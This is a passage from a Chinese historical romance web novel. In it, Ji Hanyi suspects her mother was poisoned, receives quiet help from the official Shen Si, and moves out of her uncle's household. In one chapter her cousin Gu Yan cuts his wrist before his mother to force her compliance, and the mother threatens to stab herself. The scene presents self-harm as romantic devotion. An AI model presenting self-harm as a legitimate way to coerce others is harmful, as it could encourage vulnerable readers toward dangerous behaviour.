沈肆看了眼对面季含漪拘谨的模样,又看了眼沈长龄眼巴巴看着菜的样子,无声的抿抿唇,拿起了筷子。
直到沈肆吃了第一口,季含漪才动了筷。
只是后头沈肆却没怎么吃,寥寥几口,也不开口,屋内有股紧张气氛,直到沈肆起身说出去一趟,季含漪和沈长龄就都松了口气。
沈肆淡沉的眼眸都看在眼里,他走出去,出去廊下看着楼下灯火。
文安看着主子落寞走出来的背影,这一刻主子的失落,怕是唯有他才能够懂。
夜风缓缓吹来,沈肆沉寂的眼神里没有情绪。
季含漪身边的时候,她从来没有露出过在沈长龄面前那种放松的神情。
她甚至可以主动为沈长龄求情,甚至与他低低说话,两人好似有默契的对视,与他来说,都如是难得的煎熬。
他再看不下去。
他不喜欢她身边有其他男子。
文安轻轻的走到沈肆面前小声道:“主子,季姑娘和三爷单独呆在里头,会不会有些不好?”
沈肆回头淡淡的看了一眼文安,稍顿了下,却又迈步走了回去。
步子停留在门口处,里头传来沈长龄爽朗的说话声,还有季含漪清清浅浅的一声含笑,沈肆抬起的手微顿,又推开了房门。
里面的声音在他推门的那一刻夏然而止,沈肆的目光看向季含漪,她脸上还带着一丝笑意,脸
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庞在明亮的灯下雪白,看起来肤如凝脂。
她本就生的旖旎乖巧,含笑的时候愈是动人,这样的模样在沈长龄眼里又是什么吸引。
沈长龄不过二十,与她也正是年纪相当。
沈肆沉眸掩去了所有嫉妒的情绪,重新回了位置上。
他看着季含漪一口一口吃菜的动作,小嘴没停,腮帮子微微的鼓,他第一回看她这般模样,像是馋坏了。
他扯了扯唇角,等着她吃的差不多了才搁下木筷,净手,擦拭,目光再看向沈长龄。
沈长龄见到五叔看来的眼神时愣了愣,五叔都搁筷子了,按着规矩来说,长辈不用了,小辈也要赶紧搁筷。
只是他有点委屈,他都没和季含漪好好说说话。
如今他再见季含漪,刚才才谈天几句,便全是惊喜,原来她也会骑马,还是投壶高手。
两人说起投壶技巧来,竟有好些话说。
他又第一次靠这般近清晰见到季含漪的真容,年轻的脸庞白净又娇柔,在那一身绿衣上,琼鼻红唇,好几次都叫他看得呆了呆。
一点都看不出来曾经为人妇,甚至她身上的那股娇柔却又宁静坚韧的模样,叫他很想要护着她。
就是他觉得她和离了,她过得会不好,会心疼。
但规矩他还是不敢坏的,忙也搁下了筷子。
沈长龄和沈肆都搁了筷,季含漪愣了下,总不能两人看着她吃,忙也放下。
下酒楼的时候,沈长龄偷偷问季含漪吃饱了没,季含漪看了眼前面走着的沈肆,又点头:“吃饱了。”
她确实吃饱了,许久没吃这么好吃的饭菜了,什么大家闺秀细嚼慢咽的仪态,她也没怎么顾,就一股脑吃。
并且这会儿季含漪心里更多的是愧疚,本来是想要好好谢谢沈肆的,但沈肆也没吃多少,看来这家酒楼的菜,沈肆也并不喜欢。
她要去结账的时候,文安过来她身边笑道:“季姑娘不用破费,侯爷已经让小的去结清了。”
季含漪又愣了下看向前面站在马车旁的玄色身形,愧疚愈加浓重。
她走到沈肆身边去的时候,正听到沈肆叫沈长龄先回去。
沈长龄脸上一脸的失望,又想往季含漪看过去告辞,又被五叔挡在了面前,叫他赶紧走。
第136章 他只希望她别怕自己
沈长龄其实有点懵。
怎么五叔看起来像是不愿他与季含漪搭话似的。
五叔脸上那满脸不耐烦的神色,看起来尤为的严肃,叫沈长龄也不敢多问,只能朝着季含漪看了看才不怎么情愿的转身。
他走到街对面,见着季含漪朝他看来,又朝着她挥了挥手。
季含漪收回视线的时候,就看到沈肆正在看她。
她心里一顿,抬头看向沈肆小声问:“沈大人是不是不喜欢今日的菜?”
又羞愧的低头:“今日本该我请沈大人的。”
沈肆看了季含漪一眼,她捉襟见肘的连自己的首饰都当了,只怕这一顿让她出银子后,也不知她还会拿什么东西去当。
他未回季含漪的话,只是看了她一眼:“上马车说话。”
季含漪看着沈肆又上了她那辆马车,愣了下又跟着上去。
还是在她那辆平平无奇又稍显的狭窄的马车里,季含漪坐在角落处,低头等着沈肆先开口。
沈肆问:“为什么还没走。”
季含漪看向沈肆,犹豫一下还是说了实话:“我母亲忽然病了。”
沈肆脸上并没有多余的表情,只是点点头,又问:“好些了么?”
季含漪忙点头:“好些了。”
沈肆又看了眼季含漪问:“你母亲忽然重病,你觉得是什么原因。”
季含漪见沈肆细问,也认真回话:“太医说我母亲是积郁成疾,心疾引起的呕血。”
“不过我母亲在我父亲去世后虽说一直郁郁寡欢,但这回还是第一回呕血。”
沈肆寒眸看着季含漪:“有没有想过是别的原因。”
季含漪一愣,看沈肆目光深沉,好似是在提醒她什么,她问出来:"沈大人是觉得有人给我母亲下毒么?"
沈肆抿了抿唇,低声道:“不算提醒,但你母亲忽然呕血若是你觉得有异,是该小心的。”
说着沈肆目光一动,又看着季含漪:“也并不排除这种可能。”
沈肆的话叫季含漪一瞬间浑身生了一股凉,母亲呕血的确是很突然的,可是若是真的有人下毒,她想不出来会是谁。
沈肆看着季含漪失神的神情,手往马车上敲了两下,很快文安便送进来一个匣子。
沈肆接了过来,在季含漪的面前将匣子不紧不慢的打开,里面静静放着一把钥匙。
修长的手指将钥匙拿出来,再伸手送到季含漪的面前:“这是我名下的宅子,你可以暂时住在那里,让你母亲在那里养病,更稳妥些。”
季含漪低头看着沈肆送到面前的钥匙,昏昏光线,她失神一瞬间后连忙推回去:“谢谢沈大人的好意,我已经让人去为我找宅院了。”
沈肆很清楚现在季含漪的意思,她不想要他的东西。
他没强求,他从来没强求过她,他唯一只希望她在自己面前,别那样怕他而已。
沈肆将钥匙放进匣子里,随手放在季含漪的手边,声音低沉:“那处宅院一直空着,等你需要的时候再去也可以。”
说着沈肆又看了季含漪一眼:“等你要离开京城的那一天,你再还给我就是。”
沈肆说完这些话,又沉默的起身,他掀开帘子,冷清的身形并没有久留,下了马车。
季含漪看着沈肆离开的背影心里颤颤的,她下意识的掀开帘子去看沈肆的身影,他颀长如雅鹤的身形站在川流不息的人群里,在华灯初上的街道上,他的玄衣将他衬得更加凉薄,叫季含漪觉得他该是从来都无情的人。
可是他每每在她困难时帮她,刚才又将那钥匙留在她的身边。
他像是永远沉默,又永远知晓她需要什么。
她冒失扑进他的怀里,他也没有责怪她,带着沉稳又安心的力道,处置好一切。
她其实这一刻很想大声的叫住沈肆离去的背影,想问他为什么会帮自己,自己在他心里,是不是有一些不一样。
可那冷冷清清的背影在视线里渐渐若隐若现,他那辆华贵的马车旁护卫正恭敬的往他迎过去,再弯腰为他掀开帘子。<
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br>两人在这一刻好似隔着重重的叠嶂。
他雅致,从容,出身贵重,身居高位,自己与他云泥之别,即便问出答案,也全是没有意义的。
她不懂自己对沈肆到底是什么情绪,她只是在心底对沈肆生出了一股安心的眷念,觉得只要身边他在的话,便会万事顺遂安稳。
--
季含漪回府的时候,母亲已经用了晚膳,正靠在床榻上等她。
季含漪一进去,顾氏就忙对着季含漪招手,接着就看着季含漪问:“你为难你大舅母送来的那两个丫头了?”
季含漪看向旁边的春菊。
春菊赶紧摇头:“姑娘,我没与夫人说,是今日下大夫人过来,说了好些阴阳怪气的话,还说……”
顾氏打断了春菊的话,叫春菊先出去,接着又看向季含漪,柔声道:“含漪,我们现在毕竟住在你外祖这里,有些事情忍忍也过去了。”
“你知晓的,顾家如今也不容易。”
季含漪看向母亲柔软的眸子,眼里虚弱,脸色苍白,看着她的眼神绵软无力。
她想,今日大舅母来责问的时候,看到母亲这般模样,她又是如何能开口说那些话的?她明知晓母亲是心病,许多事情不容易想过去,又为什么丝毫不顾忌的来。
母亲将大舅母当作一家人,处处体谅,当初父亲还在的时候,母亲也总劝着父亲帮着两位舅舅。
可是如今父亲出了事,大舅母早已换了另外一副模样,又何曾将他们当作过亲人。
她心里隐忍了许多话,但看母亲期盼看来的眼神,她还是垂下眼帘点头:“母亲放心,我明白顾家的难处,我也没有要为难大舅母,只是换两个丫头而已。”
说完,季含漪又看向顾氏:“母亲,其实我如今打算打算搬出去,去外面的宅子住。”
“找一个清静的宅院,我们留在这里,其实也给外祖母添麻烦了。”
顾氏一愣:“我们母女两人单独出去,身边没个倚仗,出了事怎么办?”
第137章 不知恩了
季含漪知晓要现在说服母亲是不容易的,但是季含漪也不打算能够说服得了母亲。
她的母亲虽说有时候有些固执,但自己坚持的事情,母亲也会依顺着她。
她打算先去外租了宅院,那时候木已成舟,母亲即便不赞同,也没有法子。
季含漪垂着眸子不说话,她默了默,看着母亲渐渐有些消瘦的身子,心里难受几分,又细声道:“这事往后再说便是,母亲先早些睡。”
顾氏握着季含漪的手,本来还想拉着季含漪母女两个再说一会儿话的,可看季含漪的面容上带着一丝疲惫,许多的话也顿住,轻轻的点点头:“好。”
季含漪出去后站在廊下,冷风吹来,她呵出口气,这才压低了声音问站在身边的春菊:“大舅母还说什么了?”
春菊犹豫一下小声道:"大夫人还说姑娘现在也要全仰仗着大房的,说姑娘如今不知恩了。”
季含漪默然看向夜色中摇晃的草木黑影,眸子淡了淡,眼底淡淡浮现出一抹怅然又复杂的神色。
她极少会露出这样的神情,但那张脸庞上即便是讽刺,可叫人看过去的,更多的是难受。
容春明白姑娘在讽刺什么,从前老爷在的时候,夫人处处帮衬这顾家,如今大夫人那般怠慢倒不说,哪里来的不知恩。
不说其他的,现在顾府两位爷进国子监,又是谁出的力。
姑娘在谢府过的那样艰难,还是常常能帮衬的都在帮衬,逢年过节也总挑贵重的送来,自己都没用过什么好东西,大夫人说了那么些伤人的话,姑娘从来也没计较过,还要姑娘怎么做呢。
姑娘从来都知道顾家如今不容易,也没要拖累顾家的。
早春的夜里当真是凉的很,季含漪收敛了神情,敛去思绪,又对着春菊低低问:“今日来的那两个丫头如何?”
春菊便忙道:“这两个丫头勤快多了,是老太太屋里来的。”
季含漪便放了心,又想起今夜沈肆与自己说的话。
在回来的马车上的时候,季含漪又细细想了这件事情,沈肆单独问她这件事,是不是她当真应该在意。
母亲呕血的确有些突然,为着保险,季含漪又问容春那日母亲的吃食。
容春一一说了,季含漪为求稳妥,还是这会儿叫容春去将东西都拿出来。
季含漪跟着一起去看了看,除了厨房送来的饭菜,便是之前剩下的补药和顾晏送来的松茸。
季含漪瞧不出什么不妥来,又将每样包了一些,打算明日一早让容春送去药堂里问问,又叫容春不必对外提起这件事。
接着季含漪往自己的院子走。
路上的夜风很凉,季含漪手上没拿手炉,肩上也没披着披风,手心一片冰凉,她想着早些回了屋子,却在宜春院门口见到了站在那儿等着的顾晏。
顾晏身上还穿着官服,像是刚回来不久。
季含漪见着顾晏站在那处,稍疑惑的走过去,一靠近便隐隐着他身上有一股酒味,便问:“晏表哥在等我么?”
顾晏见着季含漪来,微醺的眼神看她朦朦胧胧,光线轻晃在她脸颊上,他笑了下,伸手朝她递过去一个小食盒:“里头是银丝糖,我今日在宴会上听说女子爱吃这个,很甜,你尝尝。”
那小小的食盒在季含漪面前被打开,一股甜味便溢了出来。
季含漪看着那盒子里的糖糕,一共两块,不大不小,她吃过,很好吃,但是做工复杂,并不便宜。
她伸手接了过来,又看向顾晏轻声道:“表哥往后别送了,表哥公务繁忙,不用顾着我的。”
顾晏笑:“我心甘情愿的。”
这话叫季含漪心里头紧了紧,一时不知晓该怎么回。
但顾晏明显也没有要她有什么回应,他又后退一步道:"漪妹妹,你早些休息,我先回去了。"
说着顾晏就转了身,并没有因为借着这件事多留一刻,再给季含漪造成什么困扰。
季含漪看着顾晏的背影如鲠在喉。
容春看着季含漪手上的盒子小声道:“奴婢还记得从前姑娘来顾府的时候,二爷也总给姑娘
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送好吃的来呢,这么些年了,二爷还是没变。”
即便的手握紧,又垂眸转身。
回了屋子沐浴后,身上暖起来,那银丝糖她却没胃口吃了,叫容春吃了便是。
她靠在床榻上,看着沈肆递给她的那把钥匙,看了许久又放好,想着总要好好还回去。
这头顾晏回去后,走进了庭院里,听着他院里随从的传话,在听到母亲今日又去惠兰院了的时候步子一顿,脸色微微凉了凉,转身又往母亲的房里去。
张氏正在核算账目,府里的每一笔开支她都要仔仔细细的算,每日夜里都要留大半个时辰在这上头。
她听说了顾晏这时候来还有些诧异,但也是高兴的,赶紧叫丫头快去奉茶端果盘来。
顾晏往里屋去,母亲迎过来,闻着顾晏身上淡淡的酒味,又忙叫人去煮醒酒茶来。
顾晏看了一眼母亲,低声道:“不用,我没醉。”
顾晏的确是没醉,他常在席上应酬饮酒,早不会醉了。
张氏听了顾晏这冷淡的声音,这才抬头看向顾晏,只见着顾晏满眼的沉色,神色叫她这个母亲都微微害怕,不由问道:“二郎,你怎么了?”
顾晏声音还算温和,看着张氏:“儿子只是有些话想要与母亲说,母亲可能叫丫头都退出到门外去?”
张氏听顾晏的声音又恢复如常,又似松了口气,想着该是要说什么大事,便忙叫屋里的丫头都退了。
等着屋里的丫头都退去了门外之后,顾晏进了屋子,请母亲先坐在上座,接着自己才撩袍坐在了下首一旁。
张氏看顾晏的脸色有些严肃,不由就赶紧问:“二郎,你这么夜深过来,是要与母亲说什么?”
“可是出了什么要紧的事情,要与母亲商量?”
顾晏抿唇没说话,却是不紧不慢的从袖口里拿出了一把**。
又在张氏满脸震惊的目光中将**打开,锋利的**边缘银光乍现,吓得张氏的脸色惨白,看着顾晏失了声音:“晏哥儿,你拿**出来做什么?!”
第138章 漪妹妹比我的命更重要
顾晏听着母亲惊慌的声音,这才抬头低声道:“母亲不用担心,我拿着**出来,不是要对旁人做什么。”
张氏依旧震惊的看着顾晏:“那你到底要做什么?”
顾晏将**的刀鞘放在一边的小案上,接着慢吞吞的掀开自己的袖口,露出手腕上的皮肤来,接着就将**抵在了上头,不过是眨眼之间,手腕上就冒出了一串血珠。
张氏大惊失色,一下从椅子上过来顾晏的身边,几乎是跪在他面前,看着那还抵在手腕上的**,仿佛下一刻就要割入经脉。
她的手颤抖的想碰又不敢碰,哽咽着看向顾晏:“晏哥儿,你到底要做什么?”
“你到底是怎么了?”
顾晏看着此刻跪在他面前的母亲,眼神也是冷漠的,他声音依旧平静的开口,仿佛手腕上的那道伤口根本不疼。
“母亲这么对小姑和漪妹妹是为什么?”
“难道母亲忘了当初姑父提拔我父亲的事情了?还是母亲忘了我是怎么进国子监读书的。”
“母亲一再苛待她们,我也无颜面苟活下去,只能去地底下给姑父赔罪,往后别报应在母亲身上。”
张氏身子发抖,眼里含泪的看着顾晏:“你……你竟说这些话……”
“母亲是为了谁?还不是为了你将来娶妻,为了你妹妹积累嫁妆?”
“你是见着了含漪在谢家的日子的,她没个嫁妆,在婆家是怎么被轻视的,难道你想你妹妹将来也这般么。”
顾晏眼神低垂,凉凉的看着母亲:“所以便这般苛待她们么?”
“小姑何错,漪妹妹何错?这几年母亲这么苛待,她们可提过曾经对父亲和我的恩惠没有?”
“这些年姑母吃的药,母亲真正又出了多少银子?漪妹妹常常补贴,她可提了一句她做的。”
“我的前程是姑父给我的。”
说着顾晏满眼失望:“我与之前母亲私下说过许多次,可母亲依旧这般一意孤行,我也无颜活着了。”
**一寸寸往下,更多的血涌出来,张氏吓得一下子跌坐在地上,大哭着摇头:“你这是做什么,你这是做什么……”
“你大好前程,难道连命都不要了么……”
顾晏脸色冰凉,丝毫没要住手的意思。
张氏再也受不住,哭着喊:“我应你的,我都应你的……”
顾晏手上的动作这才顿住,鲜红的血从他手腕上滑落,又一滴一滴的滴落在他黑色靴子上。
他看着张氏:“母亲答应我往后都不苛待漪妹妹和小姑么。”
“能好好对她们么。”
张氏此时眼里只有顾晏那满手的血,脑中空白,只差要晕倒了过去,哪里顾得上其他的话,不住的哭着点头,又喊外头的人去叫郎中来。
她再抬头看向顾晏语无伦次的哽咽:“你快住手,我听你的,我都听你的。”
“你还这么年轻,往后那么好的前程,你要是走了,你就半点没想过母亲么……”
顾晏看张氏的眼神凉薄,抿着唇:“我不希望我有这样刻薄的母亲,可孝道大于天,我不敢对母亲苛责,只能以死来让母亲知晓我的失望。”
张氏脸色惨白的愣住,她看着这个自己最骄傲的儿子,如今用这样凉薄憎恶的眼神看着她,叫她一瞬间心凉的彻底。
她不停落泪,又看着顾晏还在流血的伤口,那么深那么骇人,她什么都不想了,她知晓顾晏定然是做得出来的。
她胡乱的点头:“我不苛待了,母亲都听你的。”
顾晏看着母亲的神色,无声的缓缓松了一口气,他又看着母亲的眼睛开口:“我要娶漪妹妹。”
张氏脸色大惊,失声出口:“你在说什么胡话。”
顾晏淡淡看了张氏一眼:“我不是在与母亲商量,我只是与您交代,这世上除了漪妹妹,我谁也不会娶。”
“母亲若是从中阻拦,我亦去地府为漪妹妹祈福。”
“漪妹妹比我的命更重要。”
张氏已经彻底惊骇的说不出话来。
这般沉重的话,叫她也觉得恨不得此刻自己能够**去。
自己儿子入了地府,他不会自己祈福,他为一个和离的女子祈福。
她再这一瞬间心如死灰,忽然疯了似的站起来拿起炕桌上针线篮里的剪刀就要往自己的胸口刺。
她看着顾晏:“你是不是也要逼死你的母亲?”
顾晏神色淡淡的看着张氏,情绪半点起伏也没有,声音平静的可怕:“母亲尽可以这般做,我承不了这个罪孽,大不了陪着母亲一起去了。”
说着顾晏手上的**又往下了一寸,鲜血涌出来,张氏恐惧的手上的剪子都握不住了,啪嗒一声落下来,又扑去顾晏的面前大哭:“母亲应你,母亲应你啊……”
“你快把**拿开,再下去你就要**……”
顾晏已经是疼的满头大汗,眼神却依旧死死平静的看着张氏:“若是母亲再反悔,儿子直接死在姑父
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的墓前谢罪。”
张氏已经快晕了过去,什么都不想了,只有点头。
顾晏这才闷哼一声,将**仍在地上,一只手捂在了伤口上。
郎中还没有来,顾晏脚下已经流了一滩的血,屋内到处都是血腥味。
张氏更是用自己的袖口去捂顾晏的伤口。
顾晏此刻脸上已经没有多少血色,他仰头靠在椅背上,却又开口:“今夜的事情母亲别传出半个字。”
“这件事一来是我们母子间隙,传出去对我与母亲的名声都不好。”
“二来身体发肤受之父母,我做这样的事情大逆不道,与我官途更有碍。”
“三来免祖母与小姑担心,免得再生什么事端出来。”
顾晏将一桩桩后果说给张氏,是怕母亲借着这件事再私下找季含漪的麻烦,他将厉害说清,母亲最在意他的仕途,想来也不敢再提起来。
张氏听着顾晏的这些话,浑身一凉,清醒了过来。
她本还想大张旗鼓的让丫头全进来伺候,这时候后背一身冷汗,想着要是传出去了真就是天大的事情了,又赶紧歇了叫丫头进来的心思。
即便郎中进来,张氏也没有让丫头跟着郎中一起进,而是让郎中独自进来。
郎中进来,张氏就随口编了一个理由,只说是不小心弄成了这般。
郎中看了顾晏的伤口,对着张氏就道:“这伤口要是再深一点,人都救不回来了。”
这话说的张氏浑身又是一凉。
她看向顾晏,可顾晏脸上却半分神情都没有,仿佛刚才他拿着**割手腕的事情并不算大,仿佛他真的就决心了死在她的面前。
她膝盖忽的就一软,撑在旁边的小几上。
她忽然觉得这个自己一向懂事听话的儿子,其实骨子里是凉薄无情的。
手腕上的伤口被上了药一圈圈的缠好,郎中走后,顾晏低头看着地上的血迹,对着母亲道:“这些血迹洗不清了,母亲换张地毯吧。”
又道:“明日我下午下值回来,还会去见漪妹妹,只有漪妹妹能成为我的妻。"
"漪妹妹要是被母亲再逼走,我将这条命还给母亲。”
“于我来说,漪妹妹走了,我活着也没半分意义了。”
顾晏说完这几句话,一眼也没有看张氏,径直往外走了出去。
张氏在顾晏转身的那一刻就浑身发软的跌坐在了地上,看着顾晏凉薄离开的背影,她失神了许久,又忽的捂唇大哭起来。
第139章 臣早已有心仪之人
第二日一早,季含漪就叫容春赶紧将东西拿去医馆看看,只是容春出去的时候,正好撞上了顾晏。
顾晏看了眼容春怀里揣的几个纸包,有股淡淡的药味,还有那纸包露出来的松茸一角。
容春也没想碰着了二爷这么早来,忙问安。
顾晏点点头,又笑了下问:“我去看看姑母,你去哪儿?”
容春记着季含漪的话,便道:“我出去拿药的。”
顾晏只是点点头让开了路,让容春先去。
等容春走了,顾晏回头看了眼容春的背影,眼神微微一沉,又回头继续往前走。
上午的时候,季含漪还正在给母亲喂药,大舅母居然来了一趟。
那脸上的神情全然不同于以往,就像是换了一个人那般坐到顾氏的床边嘘寒问暖,握着顾氏的手不停的问还有没有什么差缺的。
季含漪虽说不明白大舅母到底是什么用心,但是也明白事出反常必有妖的道理。
快中午的时候,容春回来了,一回来便说带去给郎中看的东西没问题,还说那松茸是上好的松茸。
季含漪听罢,心里其实也没松口气。
东西没问题,那便可能出在人的身上。
之前屋子里的那两个丫头已经赶走了,听说今天一早被发卖了出去,再有饭菜都是厨房送来的,厨房人多人杂,各院子都有人去,要是真的去查,府里闹得人心惶惶不说,也不一定能查出什么来,她这头也不好做。
更何况这只是一种猜测,并不确定有人下毒。
季含漪心里头想了想,知晓这件事怕是查不出来,如今最好的打算就是从这里搬离出去。
接着她又收到了沈长龄送来的信。
昨夜的时候,季含漪与沈长龄多说了几句话,顺口问了他陈太医的府上在哪里,无功不受禄,她不好收陈太医这样的好心。
沈长龄说去帮她打听,没想到这么快就打听到了。
中午用了膳后,季含漪坐在罗汉榻上,一边铺纸写信,一边又问容春:“银子送过去了么?”
那银子是给陈太医还回去的银子。
容春心里心疼的快要滴血,却还是点点头:“姑娘放心,已经叫前门的人送去了。”
季含漪放了心,开始落笔给明掌柜去信,叫明掌柜为她留意一下哪里有清静些的宅院可以住。
另外一头,皇宫乾清宫中的西暖阁内,沈肆与皇上对坐,正说起关于石林县案子的事情。
皇上听罢看向沈肆,眉头皱起:“这件事涉及的人太多了。”
沈肆知道皇上的意思,小小一个石林县的案子,不仅牵扯了县令知府,还牵扯进了按察使这样的三品大员,要是审理这件案子的话,必然要押送进京,再往深处审,不知晓还要牵扯进来多少人。
沈肆微微沉了沉眸,低声道:“去年浙江布政使,将折绢银融成了满屋的银条,前年河道总督,连柳条捆扎的工料钱都要刮三层。”
“伤的是民,动的却是根基。”
“若割腐肉却惧伤筋,则全身溃,不剥皮揎草,不能以儆效尤。”
皇上顿了顿,侧头看向沈肆的眼睛,他思虑半晌,终究是点头:“朕会让锦衣卫拿着驾帖去郴州配合你派去的人。”
沈肆忙站起来,对着皇上深躬。
皇上摆手叫沈肆重坐下,又道:“你呈上来的折子里还提到了大理寺的失责,负责核查这件案子的是谢玉恒。”
“朕记得他,他初进大理寺的那一年,见驿站马匹膘肥体壮就顺着草料账查到了兵部职方司,朕还嘉赏了他的。”
“这次的案子,他的确也有失察的地方,幸亏你及时发现,不然那石林县县令还要做出多少**来。”
说完皇上看向沈肆:“不过朕倒是觉得他还是有些能力的,这次不过是一时疏忽,倒是不想追究他的过错了,稍警示他些就是了。”
沈肆对上皇上的视线:“陛下觉得不治谢玉恒的罪,是因为并没有因他造成损害,可若是这次这桩案子被他糊弄过去,贪赃枉法的人依旧逍遥法外,在数年之后酿成了大祸,皇上还会这么认为么?”
“法失温情,方存天理,公是公过是过,才能警醒百官在其位便谋其政。”
皇上听了沈肆这话一顿,又看着沈肆问:“那你打算怎么处置?”
沈肆道:"按着律法,他犯的是公罪,虽未酿成大祸,也是失责,应当廷杖,贬官。"
皇上指尖在案几上叩了叩,又点点头:“便按你说的这般就是。”
沈肆见已说服了皇上,当即又要站起来告退:“臣还要回都察院一趟,臣先告退。”
皇上忙叫住沈肆,笑吟吟的问他:“宝琼你应该见过了,你瞧着她如何?”
“你姐姐很喜欢她。”
沈肆抿唇,又朝着皇上行了一个大礼,眼眸深垂:“臣其实早已有心仪之人。”
皇上看着沈肆的动作,眼神动了动,又看着沈肆,声音有些漫不经心:“哦?是哪家的贵女?”
沈肆低声道:“还请皇上恕罪,臣并不能告知。"
皇上挑眉:“为何?”
沈肆抬头,窗外明亮的光线落进他淡色凉薄的眼眸里,声音如积玉:“因她并不心悦臣。”
沈肆的声音才一落下,随即就换来皇上爽朗的笑声:“阿肆,你说那女子并不心悦你?”
“你别为了诓朕,编了这样一个幌子来。
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”
沈肆脸上坦然:“皇上知晓的,臣从未骗过皇上。”
皇帝听了沈肆这话,愈加来了兴致,忍不住问:“你是怎么知晓她不心悦你的,姑娘总是含蓄的。”
沈肆抿了抿唇,难以启齿的话还是开了口:“因她拒绝了臣。”
皇上更是震惊,还想要再问时,沈肆低低无奈的声音又传来:“还请陛下替臣留些脸面。”
皇帝听罢连连称奇,却不打算就这么放过沈肆:“既你说那女子拒了你,难不成你还要在一棵树上吊死不成?”
“朕便为你出口气,为你赐婚,再为你纳十个八个貌美的妾室,她那时候后悔也没机会了。”
沈肆颇是无奈:“臣一生唯心悦她,她若不愿,臣便等她。”
这话堵住了皇帝所有话,他深深看着沈肆,看起来凉薄的人,倒是少见的深情。
这头沈肆出了宫,文安便迫不及待的往跟前走了过去。
他压低了声音回禀:“季姑娘将那些药材的银子都还到陈太医那里了,陈太医就来信过来问那些银子怎么办?”
沈肆微微顿了顿步子,听罢又挑挑眉,都当首饰去换银子了,现在倒是有骨气的很。
脸上是不动声色的淡淡情绪,文安也看不出来主子到底是个什么想法,不由又继续开口:“还有今日季姑娘叫人去找宅子了。”
“瞧着应该是要搬出顾府去。”
沈肆掀开帘子独自上了马车,季含漪好歹是将他的提醒听了进去。
他靠着闭眼缓了缓神,又用指尖挑了身边的小帘,冷冷清清对着候在外头的文安开口:“城东万宝巷的那处院子不大,你安排着让人今日去打扫干净。”
文安如何听不出来主子的意思,赶紧一口应下来。
接着他又欲言又止的看向沈肆的神情,顿了一下还是小声开口说出来:“今日三爷给季姑娘去了信,季姑娘还给三爷回了一封……”
文安知道自己不该说这个,说起来那天他看三爷与季姑娘站在一起说笑,季姑娘那神态动作,比在侯爷身边看起来自在多了,他都为侯爷捏了把汗。
现在两人才见了没两回,就私下来往信件的话,这事瞒着不是更要出事?
沈肆本来欲放下帘子的手指微微一顿,又看了一眼文安冒汗的脸,抿了抿唇,冷了眼眸放下了帘子。
马车开始在宫道上缓缓往前,沈肆靠在马车里的脸庞已经远不如刚才那般淡定。
他想,自己在季含漪的心里,会是什么位置。
又在她心里留下过什么痕迹。
若他一意孤行的强求,又会是什么结果。
他很清楚要让自己彻底放手,几乎是不可能的了。
第140章 搬出顾家
才过了两日,明掌柜那头就来了消息,说找到了一处好宅子,叫季含漪去看。
季含漪其实心里也是想着快些找到宅院搬出去,下午就与明掌柜联系好了一同去看。
顺着明掌柜来信给的地址往城东去,其实季含漪心里还是有点觉得,这等好事怎么就能落到她头上来的感觉。
京城内一直流传着一句话,便是东城贵,西城富,宣武穷,崇文破。
东城住的一般都是达官显贵和皇亲国戚,如沈府就是住在东城最好的地段,一整条胡同都只有沈家一家。
谢府也在东城的,季含漪的那间铺子便在崇文门前连接南街的地方,那里多是小商小贩,铺子不怎么值钱,做的也是寻常百姓的生意。
其实刚开始季含漪想着不过在西城找间寻常的宅院就是,反正不过住一两月,却没想到明掌柜怎么找到了东城来了。
又想起谢府也在东城的,东城很大,上百条胡同,季含漪想着要是离谢府近了,便是再好的宅院她也不会住的。
且谢府住的也不是东城很好的地段,在边缘的几条胡同里,季含漪倒真有点担心。
不过这种担心她很快就消失了,因为东城的万宝胡同在南,谢府在北,虽然都是在东城,但相隔很远,几乎没有什么可能碰到。
明掌柜站在胡同口等着季含漪的,见着季含漪来,忙往马车旁过去。
季含漪戴好了帷帽下马车,问了明掌柜怎么找到的这个地方。
明掌柜一边将季含漪往胡同里引路,一边开口说经过。
原是明掌柜本是先找身边人去问问,他再去了一趟牙行,却正巧碰见了个人急着租宅子,见着他要租房,便说将宅子租给他。
两人谈了一会儿,不管是地段还是价钱,明掌柜都满意的很,更满意的是,那人说可以只租一两月。
说那宅子空闲太久,就是为了多点人气,不至于家具摆设蒙尘。
说到底,就是找个人看看院子,打扫打扫,还能收租,两边都好,这才谈了下来。
季含漪也没想到还有这样的好事,并且租金来说算不上贵,一月二十两短租,虽说价钱不低,但是在城东,已经很公道了。
说着便很快来到了那宅院门口,光是看那朱漆大门就觉得气派的很。
明掌柜拿着钥匙来开门,季含漪问了句:“那人就这么放心?银子还没给,他不过来么?”
明掌柜低声道:“姑娘往旁边看,人家在不远处看着呢,这宅子要是没看上,人家直接来收钥匙了。"
季含漪不由往旁边看去,隐隐约约的好似的确是见着了个人在那儿看。
她又问:“他怎么不过来?”
明掌柜笑了笑:"他说姑娘是女子,不方便,让我引着姑娘看便是。"
说这话的时候,两人已经进了院子。
才进院子里来,季含漪便被雅致幽静的布置给吸引住了。
院子的确不是很大,两进的小院落,但山石花草摘种的讲究,院后居然还有处小池塘,旁边还有个凉亭在一片竹林里,季含漪都不禁想,要是坐在这里作画,该是有多惬意。
她一眼就喜欢上了这个院子。
又进去各个屋子看了看,屋子内的确有股陈旧的味道,像是空置了许久,当真是冷清没什么人气。
明掌柜在季含漪身边问:“姑娘觉得如何?”
季含漪点头,朝着明掌柜道:“就这间宅子了。”
接着季含漪又问明掌柜:“你可当真说好了?我大抵顶多住两月便不会住了。”
明掌柜便道:“姑娘放心,我都谈妥了。”
季含漪便放下心来。
明掌柜与她相识三年,三年里做事都妥帖牢靠,季含漪还是信的。
明掌柜又与季含漪说起那两个泼粪的无赖,上回指认后又在兵马司挨了刑,昨晚出来便往铺子去求着帮忙。
季含漪听罢就低声道:“该用便用。”
明掌柜点头:“就是如此,我让他们跪在地上用艾水给我仔细擦砖,直到没味道才行。”
季含漪笑了笑:“倒是行的。”
沈肆高高站在旁边院子的阁楼上,低头看着季含漪含笑与明掌柜说话的模样,微风****,她裙角翩翩,腰上的细带扬起来,乌发上的结子微微闪动,脸上的表情生动娇嫩,叫人看着她也不由的目光放柔。
季含漪从前是喜欢笑的,只是独独在自己面前没见她怎么笑过。
看好了宅子,季含漪回去后便打算与外祖母说搬出去住的事情。
外祖母虽说难受,但看季含漪坚决的神色,最后还是红着眼眶应了下来。
又将那一套宝石莲花头面拿出来,硬塞进了季含漪的的怀里,沙哑道:“这套头面本就是外祖母为你留着的,给了你三妹妹几只,剩下的都是你的。”
“你别推辞,你还要照顾你母亲。”
